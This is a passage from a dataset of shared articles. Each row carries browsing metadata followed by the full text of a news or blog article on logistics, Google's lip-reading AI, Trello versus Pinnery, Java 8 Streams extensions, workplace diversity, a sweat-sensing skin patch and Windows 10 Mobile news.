e, devido ao sistema criado pela Netshoes, não é colocado na seção errada. Caso o funcionário cometa um equívoco, a própria máquina nega seu acesso à próxima parte to processo. Na área de embalagem, além dos 100 funcionários, duas máquinas foram adquiridas para agilizar o processo. Cada uma embala 22 pedidos por minuto e é preciso apenas quatro pessoas para operar as duas embaladoras, segundo a empresa. Para que todos os itens cheguem aos seus destinos finais, a Netshoes trabalha com 20 parceiros logísticos. Existem postos avançados de cada uma das transportadoras dentro dos centros. Desse modo, o produto não precisa passar pelo centro de operações da transportadora antes de ser enviado para o consumidor. ""Essa aproximação com os parceiros diminuiu a data de entrega em um dia"", lembra Graciela Tanaka. No total, o processo de realizar a compra até a entrega do produto para a transportadora leva cerca de duas horas. Aliás, 91,7% dos pedidos feitos na Black Friday do ano passado foram aprovados em até dois minutos. ""Queremos oferecer a melhor experiência de compra para o cliente em todos os setores, do começo ao fim"", finaliza Tanaka.",pt
1480009140,CONTENT SHARED,7978090893338710234,3609194402293569455,8097141634211543237,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://googlediscovery.com/2016/11/23/inteligencia-artificial-do-google-e-capaz-de-fazer-leitura-labial/,Inteligência artificial do Google é capaz de fazer leitura labial | Google Discovery,"De acordo com uma reportagem da New Scientist , a inteligência artificial do Google tem sido capaz de fazer leitura labial melhor que qualquer profissional da setor. O sistema de aprendizado de máquina vem sendo treinado com mais de 5.000 horas de programação televisiva, que envolvem seis programas de TV, incluindo Newsnight, BBC Breakfast e Question Time. No total, os computadores do Google já analisaram mais de 118.000 sentenças. Enquanto um profissional consegue uma margem de 12,4% das palavras sem qualquer erro, a inteligência artificial chega a 46,8% sem apresentar falhas. Entre os deslizes do Google, entretanto, estão pequenos erros gramaticais. O sistema do buscador também supera todas as plataformas automáticas existentes de leitura labial.",pt
1480033245,CONTENT SHARED,-5689187996536546877,3217014177234377440,3132560940397466244,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36",SP,BR,HTML,http://www.noupe.com/business-online/kanban-boards-pinnery-better-trello.html,[Kanban Boards] Is Pinnery the Better Trello?,"Pinnery is the name of a rather new web app that deals with project and task management based on kanban boards. The most popular one of this kind is Trello. Pinnery is an alternative from Germany. Kanban Boards: Skeuomorphism of Task Management You know kanban boards, don't you? Yes, you do. That's what these boards, on which tasks or just about any cardable items are sorted, are called. The progress on a task (card, sticker, you name it) is documented as it travels from list to list until it's completed. The principle is very simple, and thus, very successful. Let's say you're planning an editorial team;) Set up a kanban board for each author. On this board, there are lists titled ""suggestions,"" ""ordered,"" ""in progress,"" ""ready for review by the editor,"" and ""scheduled."" Additionally, there are lists ""declined,"" and ""published."" Now, the author will make suggestions for articles he'd like to write. These are placed in the suggestion list as single cards. In the easiest case, you like the suggestion, and you immediately drag it (or its card representative) into the list ""ordered."" Now, the author knows that he can start working on it. Once he starts, he'll drag the card into the list ""in progress."" You see where this is going? If you don't like the suggestion at all, immediately put it into the ""declined"" list. This way, both author, and editor are always up to date when it comes to the status of each article. Details are specified on the respective card. Here, you have the option to attach files, define costs, or discuss direction, structure, and other questions regarding the topic in a comment system. This is our workflow at Noupe. We've been using Trello, probably the most popular system of its kind, since early 2012. Each author has a board for the above-explained purposes, and there are additional boards as well, covering things like the magazine's technical maintenance. This works like some sort of ticket system. Here, errors and required - or desired - changes are noted. Another board deals with strategic questions. The bandwidth of what Trello can cover is massive. The beautiful thing about the kanban board principle is that it mimics the task flow physically, creating a momentum that is quite motivating. Personally, I prefer this way of working over the despicable ticking off of tasks in tools like Wunderlist and others. Pinnery: Trello Alternative With Advantages Now, I came across Pinnery . Pinnery is being developed by the German software company Rowisoft. Rowisoft's flagship product is the ERP system Rowisoft blue, which is valid proof of expertise in business software development. Yet, Pinnery is not created to be a Trello rival, so it's not a typical me-too product. In fact, you can tell that Pinnery was developed by someone who knows a lot about business processes. To me, Trello is more in line with other visually appealing web apps with limited functionality, but high virality. Trello is cool, which is why it's well-known and famous. Since we're also using it here at Noupe, it should be clear that I don't have a substantial issue with its feature set. However, when looking at Trello from the view of an economically oriented project manager, I would not choose this product. In the end, it's more of an intuitive tool for freelancers and small teams that have to complete tasks together. When it comes to planning and concluding projects, Trello is stretched to its limits. Here is where Pinnery shines. Next to the identical concept, and the identically easy controls, Pinnery provides more features. Pinnery comes with two functions that I have missed several times while using Trello. One is the ability to define dependencies between tasks. In a lot of cases, the course of the project is only represented correctly when this can be done. You only get to start task Y once task X is done. Trello doesn't offer this type of connection. The other is the option to attach additional sub-boards to each card. This allows for the transparent organization of very large projects. With Trello, you need to put everything on one board or create multiple boards that are not connected to each other. Pinnery is much more professional in that regard. Another feature that Trello can only pull off via third-party providers is the integrated time tracking next to a target-actual cost comparison. Time units down to the minute can be tracked. There are a few more small things that I like better about Pinnery as well. For example, you get to categorize your lists, placing subheadings. These let you show or hide board areas, which generally helps you keep an overview much better than when using Trello. Another positive aspect is that Pinnery has a view that displays almost the entire content of the ""task"" card in the list view. On Trello, you only see the title of the respective card, and you have to access the detail view of the card for every bit of further information. The creators of Pinnery have a treat for users of Surface tablets. With the respective stylus, they get to turn handwritten notes into cards, with all the other functions that the stylus has to offer. Trello vs. Pinnery: Both Are not Free With Extended Features For Trello , a lot of business features are available as well, including the management of users with different rights. For that, Trello charges 9.99 dollars a year per user. With Pinnery, you won't get all features for free either. Here, you have to drop 6.60 Euro per user each month with annual payment. First, you start off with a Pro account, granting you access to the full scope of features for 30 days. After these 30 days have passed, you decide if you want to pay for the Pro account, or if the features of the option Pinnery Free are sufficient, which most likely won't be the case after having looked at this overview . If you're currently using a free Trello account without the Dropbox interface, Pinnery Free might actually be sufficient for you. In any case, you should take a look at the competitor. Last but not least, it is probably better to keep our data in the hands of a German or - let's say - European provider rather than an American one. It's possible that this aspect will gain a lot more relevance with the president-elect of the USA. Conclusion: If you are looking for a professional kanban board system, and are willing to pay for it, Pinnery is definitely one of the services to take a long, hard look at. Regarding functionality, it offers more than the internationally hyped Trello, and it's cheaper at that. The provider is at least just as stable as Trello's so that you don't need to worry about the future more than in other cases. The European data protection is another plus. Pinnery has my unrestricted recommendation.",en
1480095986,CONTENT SHARED,-2808959554282640221,6967147874415599925,7011575667264885705,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,https://medium.com/@johnmcclean/java-8-streams-10-missing-features-ec82ee90b6c0,Java 8 Streams : 10 missing features,"Java 8 Streams were exceptionally well designed. The API itself offers a concise (a polite way of saying frustratingly limited) feature set. Perhaps this is because the team behind it were focused on adding data parallelism, which arguably limited their options in terms of features for sequential Streaming. However it turns out that, that conciseness is an advantage not a weakness. By creating a simple API that does one thing really well (that is represent a totally lazy, potentially infinite Stream of data) they created something that was also infinitely extensible by the community. In this article I hope to show you 10 important features that weren't included within the Stream API, but also 10 extension points that offer you those features. If you are frustrated with the verbosity of the core API in solving a particular problem, never fear - there is very likely an extended API which will make the solution much simpler, and more elegant. Most developers seem to use Streams to simply transform collections , but they are capable of so much more.. A totally lazy pipeline for processing a potentially infinite stream of data is an incredibly powerful data structure and too see just how powerful, let's do what everyone does seems to do in blogs these days - let's build a microservice. What we need our microservice to do Read data from Amazon's S3 storage service Transform it to another form Write the transformed data back into AWS S3 We could start by defining a Stream like so.. Now we have a Stream that will run infinitely an continuously, but there are many cases when this is not what we want. Do we want to hammer our data service continuously or use some time based function to control how often it is queried? Let's schedule the Stream to run every 60 seconds. We can use StreamUtils in cyclops-react to do this Missing feature 1 : Scheduling Other useful operators here include onePer, xPer and scheduling based on cron expressions. A problem we will quickly run into though, is the behaviour when an exception occurs. The method signature of pollS3 probably looks something like this If a Stream throws an exception the execution of the entire Stream fails, and in this case our scheduled Stream will stop running. Missing Feature 2 : Error Recovery! Again, we can use the recover operator in StreamUtils, it allows us to catch an in-Stream exception and handle it. Using static extension methods soon get's unreadable (unless you make use of Lombok's extension method macro  - which can work well in Eclipse but not so well in other IDE's). A better alternative is to make use of a dedicated extension class. In cyclops-react we've created one called ReactiveSeq. Note that most of the operators discussed in this article are available for direct use on JDK 8 Streams (even those that make use of reactive-streams functionality on the StreamUtils class). ReactiveSeq extends the awesomely powerful Seq type from jooλ . In this instance Seq is short for Sequential. By abandoning the data parallelism of Java 8 Streams it is possible to build a super powerful Sequential Streaming API. jooλ 's Seq type a lot of very powerful extension methods in addition to the 10 missing features we cover today in this article (which are mostly additions by cyclops-react)! jooλ 's makes manipulating data in memory with Streams much easier, and many of it's more advanced functions are inspired by the more powerful operators available in SQL (perhaps unsurprising as it comes from Data Geekery the people behind Jooq ). ReactiveSeq extends Seq and also implements the reactive-streams api. It's goal is to add further extensions so we can work with data that may arrive asynchronously, apply functions that may succeed or fail to that data, connect different processing streams seamlessly, handle processing mismatches between data producers and consumers as well as provide an alternative mechanism for data parallelism while retaining the same rich operator set. Missing Feature 3 : Retries We have already seen the recover operator, that allows us to catch and Exception and recover from it. In our Microservice, once we have downloaded and processed the data - it would be a real shame to drop it, just because we couldn't save it at the final stage. We can make sure that we retry on failure using the retry operator. Note we could use a more detailed overloaded retry operator to specify backoff parameters and the total number of retries we would like. Missing Feature 4 : Error events The reactive-streams api allows consumers to listen to various events generated during event processing - such as to the Stream of element data, or to the Stream of errors and to recieve a completion event. With standard Java 8 Streams we only get the Stream of element data - any error caused the termination of the Stream. With ReactiveSeq we can use forEachWithError to subscribe to both data and error events (see StreamUtils#forEachWithError to subscribe to this events with standard JDK 8 Streams). Missing Feature 5 : Hot Streams Hot Streams are Streams that are currently executing that we can connect to (that's what the connect operator does!). scheduleFixedDelay creates a HotStream, every 60 seconds in our example that Stream will emit data, and we can listen to those emissions by connecting other Streams (as many as we like!). In the midst of heavy processing within a service we may like to further process a small sample of records, perhaps to log some useful metrics or to feed a downstream process. Hot Streams are perfect for this. In this example we trigger a HotSteam executing on a separate thread via the hotStream operator, and create a new connected Stream via connect(). The debounce operator says that we only want to process x amount of emitted items within the specified time period. In this case we will print out one data point per day. The hotStream operator allows us to create an asynchronously executing Stream - but it is not the only way to do this. Missing Feature 6 : Asynchronous execution The futureOperations operator on ReactiveSeq allows users to specify an Executor (perhaps an ExecutorService that manages a Thread Pool) on which the Stream will be executed. Once a terminal operation is called the user recieves a CompletableFuture as the result. The current Thread can continue operating unhindered. With a more powerful Sequential Streaming API we have an alternative mechnism for parallel Streaming. For CPU bound tasks we can distribute Sequential Streams across threads (ideally one-per-CPU core) With ReactiveSeq we can define a Stream that executes asynchronously like so.. And can distribute it across threads in a for loop We are not limited to executing our Streams asynchronously on a thread pool, we could also pass them to a Vert.x event loop for execution (as long as we can conform to the java.util.Executor interface definition we are good). Missing Feature 8 : Lazy terminal operations While most of the Java 8 Stream pipeline is defined lazily, terminal operations typically are not. In fact they are the trigger to execute the pipeline. There are cases, typically when the Stream pipeline executes some expensive function, where it would be better to trigger the evaluation after we know the data is needed. Because Streams are traverse once, it may not be a good idea to pass the Stream itself around either as a method return type or wrapped inside a Supplier. The lazyOperations operator in cyclops-react allows us to define lazily executed terminal operations. The return type is an memoized (cached) Eval which represents a lazy evaluation. Missing Feature 9 : Pushing data into Streams Java 8 Streams are great for working with data we have already, but they would be so much more useful if there was a way we could asynchronously supply them with data. In cyclops-react we have created StreamSource for this very purpose. StreamSource allows us to push data into a Stream on separate data producing threads from the thread on which the Stream is being executed. We can use StreamSource to generate and manage pushable JDK Streams, ReactiveSeq's and even powerful FutureStreams (see Missing Feature 10), and much like distributed messaging services StreamSource can behave as either a queue of information (pushing data to exactly one Stream) or a topic (pushing data to multiple connected listening Streams). Missing Feature 10 : Powerful parallelism Java 8 Streams offer a reduced set of operators in order to support data parallelism, and we have seen that it is possible to build a very rich and powerful sequential API. There are also many ways that we could build parallel Streams, and having built an awesomely powerful sequential API it would be great to be able to keep that power but in a parellel Stream. In cyclops-react we introduce the concept of a FutureStream. FutureStreams are an API that manage a Stream of Future tasks. Our LazyFutureStream type extends ReactiveSeq, and so has all the same operators (and even adds some too) but layers in parallelism on top of that. Building a Stream of Futures is pretty straightforward to start with but can soon get gnarly. Inside our map and flatMap methods we can just delegate to the equivalent method on the Future we are managing, but things start to get harder when we try to implement filtering (never mind some of the more powerful operators avaiable on ReactiveSeq). We can define a FutureStream as if it were a normal JDK Stream (with a lot of additional powerful operators) and have it execute in parallel. Summary We could go on and add more missing features, we haven't mentioned batching / sliding windows, covered insertion and deletion, advanced take / drop operators, zipping or subscriptions and much more besides. But I hope that I've been able to convince that the design of Stream API although limited opens up a world of extension opportunities that libaries such as cyclops-react extending jooλ and independently StreamEx have tackled. In cyclops-react we've gone deep on Stream processing because it allows us to leverage an API and coding style familar to Java 8 developers more consistently throughout our applications. The functional style introduced in the Stream API typically results in apps that are easier to test, with less moving parts that are also inherently more parallelizable. We've created datastructures such as async.Queues and Topics specifically to help plumb Streams together to realize that aim. Something that might seem relatively simple compared to other Stream implementations, ultimately turns out to be something incredibly useful and powerful.",en
1480337583,CONTENT SHARED,-6584408680441477889,-5527145562136413747,5610729222845918931,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36",SP,BR,HTML,https://blog.runrun.it/o-que-e-lideranca-diversidade-funcionar,O que é liderança? Liderança é fazer a diversidade funcionar.,"Compreender o que é liderança envolve principalmente compreender o que liderança não é. Quer ser um péssimo ou uma péssima líder? Desrespeite e desvalorize a diversidade. Desconsidere o quanto ela é uma necessidade. Subestime as contribuições que pessoas de diferentes gêneros, etnias e raças e vivências - o que inclui diferentes orientações sexuais e identidades de gênero. Afinal, quem lidera lidera pessoas, assim, no plural. Por isso vamos analisar por que a diversidade de um time é basilar, inclusive, para as finanças da sua empresa. Para quem, dia após dia, se pergunta como motivar uma equipe, esta é uma boa chance de ouvir o que Heidi Halvorson e David Rock, especialistas do querem que líderes saibam sobre a importância de montar equipes diversas. Tudo com base em estudos . Neuroleadership Institute , Equipes diversas são melhores em quê? Quando a dúvida surge, é hora de buscar respostas junto daqueles que vivem para isso: pesquisadores. E foi o que fizeram os especialistas Halvorson e Rock. No artigo ""Why Diverse Teams Are Smarter"" , publicado na Harvard Business Review em novembro de 2016, eles citam dois estudos sobre o impacto da diversidade - é isso mesmo - sobre as finanças das empresas. Em 2015, pesquisadores da avaliaram 366 companhias públicas de vários países, e o que constataram foi o seguinte. Aquelas que apresentavam a maior diversidade étnica e racial em posições de gestão eram 35% mais propensas a obter retorno financeiro acima da média de seu ramo. E aquelas que contavam com a maior diversidade de gênero eram 15% mais propensas a conquistar essa mesma vantagem. Outra com 2400 empresas de todo o globo, conduzida pelo Credit Suisse, não trouxe resultados contrários aos de cima. Organizações com pelo menos uma mulher no conselho diretor apresentam maior retorno sobre o patrimônio líquido, e seu lucro líquido cresce mais do que aquelas em que não há mulher alguma na diretoria. ""Equipes não homogêneas são mais espertas"", afirmam os pesquisadores, citando outro estudo recente, que afirma: trabalhar com pessoas diferentes de você desafia suas formas tradicionais de pensar e refina o desempenho do seu cérebro. Mais especificamente, dizem, equipes diversas: Foco nos fatos Pessoas com origens, vivências e repertórios culturais diversos trabalhando em equipe podem levar a um pensamento de grupo mais refinado e preciso. É o que aponta um publicado no Journal of Personality and Social Psychology. Cientistas distribuíram cerca de 200 pessoas em júris de seis pessoas. Alguns eram completamente compostos por pessoas brancas, enquanto em outros havia quatro brancos e dois negros. A tarefa era a seguinte: assistir ao vídeo do julgamento de um réu negro com vítimas brancas e decidir se o réu era culpado ou inocente. O que se observou foi que os júris com negros e brancos levantaram mais fatos relacionados ao caso do que os júris homogêneos, e realizaram menos erros factuais ao discutir as evidências. E quando ocorriam erros, eram corrigidos com mais frequência durante a deliberação. O motivo? Para os pesquisadores, os jurados brancos em grupos mistos buscariam evidências com mais precisão, em vez de se guiarem por pensamentos fáceis, baseados em estereótipos e preconceitos. >> Leitura recomendada: Guia para a igualdade de gênero no trabalho Outros estudos trouxeram resultados semelhantes. Numa série de experimentos conduzidos no Texas e em Cingapura, publicados no jornal científico , pesquisadores organizaram os participantes ora em equipes etnicamente diversificadas ora em grupos homogêneos. Todos apresentavam boa instrução em finanças e sua missão era cotar algumas ações de mercado. Resultado: aqueles que participavam de equipes mistas eram 58% mais propensos a fazer a cotação correta. Para Halvorson e Rock, ""quando estão em equipes diversificadas, as pessoas são mais suscetíveis a reexaminar os fatos, a permanecer objetivas. São mais propensas a avaliar criticamente suas ações"". É o que cientistas descrevem como ""manter seus recursos cognitivos afiados e vigilantes"" - o que parece também ser uma boa forma de descrever o que é liderança. Processamento cuidadoso de dados ""A diversidade pode mudar a maneira como equipes inteiras digerem informações e tomam melhores decisões"", insistem Halvorson e Rock. Em um estudo publicado no "" Personality and Social Psychology Bulletin"" , Katherine Phillips da Northwestern University e sua equipe distribuíram membros de fraternidades e irmandades universitárias em quartetos, propondo que lessem as entrevistas de um detetive que investigava um assassinato. Três pessoas de cada grupo sempre vinham da mesma irmandade ou fraternidade, enquanto a quarta poderia ser do mesmo grupo ou de outro aleatório. Então, os três veteranos de cada grupo se reuniam para determinar quem seria o suspeito mais provável do assassinato. Cinco minutos depois, o quarto integrante se juntava à deliberação e expressava sua suspeita. >> Leitura recomendada: Instigue a criatividade do seu time e critique ideias com maturidade Verificou-se que, embora os grupos com o quarto integrante de outras irmandades e fraternidades se sentissem menos confiantes sobre suas decisões, acertavam mais vezes o nome do assassino do que os grupos com todos já conhecidos entre si. Para os cientistas do experimento, o que acontece é: grupos diversos podem superar os homogêneos na tomada de decisão porque processam as informações com mais cuidado. ""Considerar a perspectiva de um estranho pode parecer contraintuitivo, mas a recompensa pode ser enorme"", Halvorson e Rock concluem. Ao romper com a homogeneidade no local de trabalho, você mostra que está entendendo o que é liderança. Pelo simples fato de que está permitindo que seus colaboradores se tornem mais conscientes de seus próprios vieses, isto é, de suas formas enraizadas de pensamento que, de alguma forma, podem cegá-las e impedi-las de encontrar informações-chave. O efeito disso, sabemos, é a maior probabilidade de falharem ao tomarem decisões. Cenário propício para inovações Você já está careca de saber que, para se manter competitiva, uma empresa deve inovar. O que você talvez não imaginava é que uma das melhores estratégias de aumentar a capacidade de transformação da sua marca e dos seus produtos envolve a contratação de mais mulheres e de pessoas de culturas diversas. O embasamento dessa informação é o publicado em ""Innovation: Management, Policy & Practice"". Nele os autores analisaram níveis de diversidade de gênero em equipes de Pesquisa e Desenvolvimento (R&D) de 4.277 empresas da Espanha. Adotando modelos estatísticos, eles descobriram que as empresas com mais mulheres eram mais propensas a introduzir inovações radicais no mercado no espaço de apenas dois anos. >> Leitura recomendada: Guia para empresas que desejam ser disruptivas Em outro , publicado na revista Economic Geography , os pesquisadores concluíram que o aumento da diversidade cultural é um propulsor da inovação. Eles reuniram dados sobre 7.615 empresas que participaram do London Annual Business Survey, um questionário realizado com os executivos da capital do Reino Unido, sobre o desempenho de suas empresas. Os resultados revelaram que as empresas dirigidas por equipes culturalmente diversas eram mais propensas a desenvolver novos produtos do que aquelas com liderança homogênea. ""Embora você possa se sentir mais à vontade trabalhando com pessoas que compartilham sua experiência, não se deixe enganar pelo seu conforto"", recomendam e Halvorson e Rock, que também publicaram o artigo ""Diverse Teams Feel Less Comfortable - and That's Why They Perform Better"" . Nele, enumeram outros estudos que só endossam a diversidade como uma necessidade. Confira: Estudos não faltam: Diversidade é uma necessidade Uma análise de 2009 com 506 empresas revelou que aquelas com maior diversidade racial e de gênero que a média alcançam maior receita de vendas, mais clientes e lucros superiores. Outra pesquisa , esta de 2016 e mais ampla, com mais de 20 mil organizações em 91 países, descobriu que aquela com mais mulheres em cargos executivos eram mais lucrativas. Em 2011, um estudo com equipes de gestores demonstrou que aquelas com um leque mais variado de bagagens de educação e repertório profissional criavam produtos mais inovadores. Em suma, como eles descrevem, contratar pessoas que não enxergam nem falam nem pensam como você pode evitar as ""armadilhas dispendiosas da conformidade que desencorajam o pensamento inovador"". Mais uma vez nos voltamos à primeira questão: O que é liderança? Pistas não faltam. Rompendo a homogeneidade Antes de finalizar, duas palavras merecem nossa atenção, por terem íntima relação com o problema da falta de diversidade. Ambas foram finalistas a ""Palavra do Ano de 2016"" do Oxford Dictionary. São elas: Glass Cliff (penhasco de vidro) e Woke (do verbo ""to wake"", despertar). Glass Cliff é usada para se referir à situação em que uma mulher ou um membro de um grupo minoritário sobe a uma posição de liderança, desafiando circunstâncias nas quais o risco de fracassar é elevado. Por sua vez, Woke , adotada já em 1962 e popularizada recentemente com a hashtag #StayWoke e a campanha #BlackLivesMatter, existe para designar a pessoa que está alerta ao racismo e ao sistema de perseguição e opressão aos negros. Palavras dessa natureza ainda são necessárias e não deixarão de ser enquanto atitudes concretas forem tomadas pelas lideranças de companhias e grupos. Criar um local de trabalho mais diverso é um importantíssimo passo para manter os preconceitos sob controle, até reduzi-los a lembranças, e fundamental para provocar as pessoas a questionarem suas suposições e prejulgamentos. >> Leitura recomendada: Combatendo o machismo no ambiente de trabalho ""Enriquecer seu quadro de colaboradores com pessoas de diferentes gêneros, raças e nacionalidades é fundamental para impulsionar o potencial intelectual coletivo da sua empresa"", resumem Heidi Halvorson e David Rock. Ao mesmo tempo, é preciso tratar como uma prioridade estratégica da empresa a implementação de práticas inclusivas, para que todos sintam que podem ser ouvidos - e que o sejam de fato. Para líderes, entender o que é liderança e fazer a diversidade funcionar são sinônimos. Mesmo porque respeitar a diferença simplesmente não é mais do que exercer sua cidadania e não violar preceitos éticos básicos. Uma ferramenta para entender o que é liderança O Runrun.it nasceu para ser o braço direito de gestoras e gestores que desejam entender os esforços de sua equipe e contribuir para que se tornem mais conscientes de seu próprio trabalho. Gosta da ideia? Experimente grátis:",pt
1480343082,CONTENT SHARED,-1129449063360470561,3609194402293569455,6801231749445176401,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/11/google-agora-informa-em-tempo-real-se-estabelecimento-esta-lotado/,Google agora informa em tempo real se estabelecimento está lotado - Startupi,"O Google atualizou um recurso que já ajudava seus usuários a não pegar filas quilométricas para visitar seus restaurantes favoritos. Como o próprio nome sugere, a ferramenta ""horários de pico"" dava uma estimativa do quão lotado estava um local, dependendo do dia e do horário. Agora, ela irá dizer em tempo real se um estabelecimento está cheio. O recurso é bem simples: basta procurar por um estabelecimento na plataforma de buscas do Google ou no Google Maps. Logo abaixo das informações sobre os horários de pico irá aparecer um ícone escrito ""ao vivo"". Ele compara o movimento em tempo real com o movimento regular do local para informar a sua lotação. Caso a informação sobre a movimentação do lugar esteja errada, o usuário também pode fazer uma reclamação para a companhia. Junto ao ícone do ""ao vivo"" há um link escrito ""correto?"". Ao clicar nele, uma aba com a frase ""O que você acha?"" pergunta se o lugar está mais ou menos movimentado do que o dados em tempo real. A empresa usa os dados de localização dos usuários - tanto o histórico quanto o tempo real - para determinar a quantidade de pessoas em um recinto. Isso já era feito pelo Google antes de a ferramenta ser atualizada. * Por Marina Demartini, da Exame.com",pt
1480348808,CONTENT SHARED,8786528563105605644,3609194402293569455,6801231749445176401,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://spectrum.ieee.org/the-human-os/biomedical/diagnostics/sweatsensing-skin-patch-hints-at-bloodless-testing,"Cheap, Rugged Sweat-Sensing Skin Patch Hints at Bloodless Testing","Photo: John Rogers/Northwestern University A soft, skin‐mounted microfluidic device for capture, collection and analysis of sweat. Sweat could be the next thing wearable devices sense to track your health, researchers say. A new microfluidic skin patch capable of collecting and analyzing sweat has survived tests that included a grueling 104-kilometer bike race. And the next-generation wearable device has attracted the attention of companies such as cosmetics giant L'Oreal and a major sports beverage maker-not to mention the U.S. military. It could even pave the way for a painfree, bloodless method of prescreening people for diabetes in the future, according to its inventors. The flexible sweat sensor collects sweat in a tiny tubing system as it's worn against the skin. Different sections of the sensor slowly change color as they react to different levels of certain chemicals found within sweat. Any smartphone with the right app can take a picture of the sweat sensor to automatically interpret the color changes and biochemistry of the sweat as certain health signs. To tests the device's ruggedness, volunteers even wore the sweat sensor during a long-distance, outdoor bicycling race. ""This is radically different from current-generation wearable devices that are a block of electronics strapped to the body,"" says John Rogers , a physical chemist and materials scientist at the University of Illinois at Urbana-Champaign. ""This allows a clinical-like precision measurement of health markers that physicians know how to interpret."" Rogers' group has previously developed soft electronics such as flexible, dissolvable brain implants . In this case, they minimized the use of electronics in the skin patch to ensure that it could be resilient and cheap enough for one-time use. The details on their work with an international team of South Korean and Chinese collaborators appeared last week in the online edition of the journal Science Translational Medicine . The biggest challenge in making the sweat sensor was balancing the softness, thinness, flexibility and comfort of the device with its functionality as a health sensor, Rogers explains. The researchers ensured that the device could create a water-tight seal with the surface of the skin so that it could remain in place during even the most high-intensity exercise. Photo: John Rogers/Northwestern University A soft, skin‐mounted microfluidic device for capture, collection and analysis of sweat But they also needed to figure out how to make a functional sensor without relying on either cheap but rigid electronics or more expensive, flexible electronics. Their solution was to use a microfluidic system of tiny tubes to channel the sweat toward different absorbent sections capable of chemically reacting to the presence of the different sweat components. By comparison, today's athletic research facilities currently use absorbent pads or paper and bulky benchtop lab equipment to collect and analyze sweat. ""Our device uses microfluidic, lab-on-a-chip type approaches in sweat capture and analysis, and simple colorimetric chemistries for detection,"" Rogers says. ""Much different than previous approaches that rely on less sophisticated fluid capture schemes and more expensive electronic-based readout schemes ."" The readings collected by the sweat sensor seemed comparable to the current lab-based standards during a trial involving nine volunteers doing indoor cycling. Health readings included sweat rate and sweat loss, pH (an indicator of hydration levels), and concentrations of lactate, glucose, and chloride. A separate trial tested the sweat sensor's ability to hold up during a 104-kilometer bike race called the El Tour de Tucson. Marvin Slepian, an interventional cardiologist at the University of Arizona in Tucson who worked with Rogers' team, enlisted the help of several cyclist friends-a total of 12 healthy volunteers-to carry out the outdoor trial. The resiliency of the devices under such tough conditions was a testament to the flexibility and ruggedness of the microfluidic tube system, which had been extensively modeled by research collaborators at Northwestern University in Illinois and Zhejiang University in China. The sweat sensor can hold captured sweat for about 125 hours after being peeled off the skin as long as all the sensor channel openings are sealed. Even with open channels, the captured sweat remains for about 75 hours after removal from the skin. Rogers and his collaborators believe it's possible to eventually turn the experimental sweat sensor into cheap, disposable commercial devices. The disposable or recyclable design avoids complications such as cleaning and possible contamination during reuse. Their current goal is to make the sweat sensor into a device costing just $1 or $2. Sweat sensors gets truly exciting when imagining the medical possibilites. Rogers' lab has been in talks with a biomedical company about how such sweat sensors could eventually enable bloodless prescreening for diabetes. But first, the researchers need to boost the sensitivity range of the glucose sensing and nail down the correlation between glucose in sweat and in blood. But even the current generation of flexible sweat sensors holds much promise for many different companies. L'Oreal, for example, played a large role in organizing and funding this particular study. The company is interested in using the sweat sensors to replace the bulkier research tools for understanding sweat chemistry and odor so it can develop new products. ""As a cosmetics company, they're basically a skin company when you think about it,"" Rogers says. Rogers' lab has also been conducting additional exercise and physiology studies with an unnamed sports beverage company. And the U.S. Air Force has gotten on board with testing more advanced versions of the sweat sensors as worn by active-duty airmen at the Wright-Patterson Air Force Base near Dayton, Ohio. The researchers have already developed and begun testing several different versions of sweat sensors beyond the one described last week; a consequence of the time lag between publishing research results and making progress in the lab. ""At this point we're two or three steps beyond what is being reported in this paper,"" Rogers says.",en
1480350950,CONTENT SHARED,-5470166294767187597,-7496361692498935601,975100511055579721,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36",SP,BR,HTML,https://www.onmsft.com/news/windows-10-mobile-news-recap-nadella-teases-ultimate-device-surface-phone-spec-rumors-and-more,"Windows 10 Mobile news recap: Nadella teases ""ultimate"" device, Surface Phone spec rumors and more | On MSFT","Welcome back to our weekly Windows 10 Mobile news recap series, where we go over the top stories of the past week in the world of Microsoft's mobile operating system. Let's get started. Satya Nadella says Microsoft is planning the ""ultimate mobile device"" It's been a depressing year for many Windows 10 Mobile fans, with our dreams of a new frontier of W10M hardware being shot down at every turn. This week's events, however, give us reason to hope again . In an interview with the Australian Financial Review, Satya Nadella said ""We will continue to be in the phone market not as defined by today's market leaders, but by what it is that we can uniquely do in what is the most ultimate mobile device."" This could mean a million different things, but news later in the week has us excited about its implications. Possible Surface Phone specs leak This is what got us buzzing about what seemed to be a passing comment from Satya Nadella. Not long after that interview, we got information about the possible specifications of the Surface Phone . If the leak is to be believed, we're looking at a Snapdragon 835 processor, 6 GB of RAM, and a 5.5 inch display. This is all supposedly from prototypes, though, so we wouldn't put too much stock in the specifics. The leak tells us that the Surface Phone is slated for a late 2017 release, looking to line up with Redstone 3. Microsoft looks to implement new ""NEON"" design language with Redstone 3 Here's one that Windows 10 users across all devices can get excited about. NEON seems like it's going to be Microsoft's new design language , giving Windows 10 a fresh new look. The project is being referred to in some circles as ""Metro 2.0,"" because it's going to be trying to accomplish the same sort of interface revolution that Metro accomplished. We don't know much about how NEON is going to behave, but we do know that it's supposedly very fluid, and focuses greatly on animation as a key point. Whether or not NEON is an internal codename or the shipping name for the feature is yet to be seen. Share improvements coming soon to Insider builds There are plenty of people who seem to have problems with Windows 10's limitations to sharing. One disgruntled Twitter user went to Twitter to complain, and got a response from Microsoft's Peter Skillman saying that ""Share improvements [are] coming to WIP builds soon."" We don't have any specifics about what these improvements are going to be, or how significant they're going to be, but hopefully they address some of the issues people are complaining about. Thanks for joining us. If you want all of the news as it happens, keep an eye on our Windows 10 Mobile tag . Further reading: 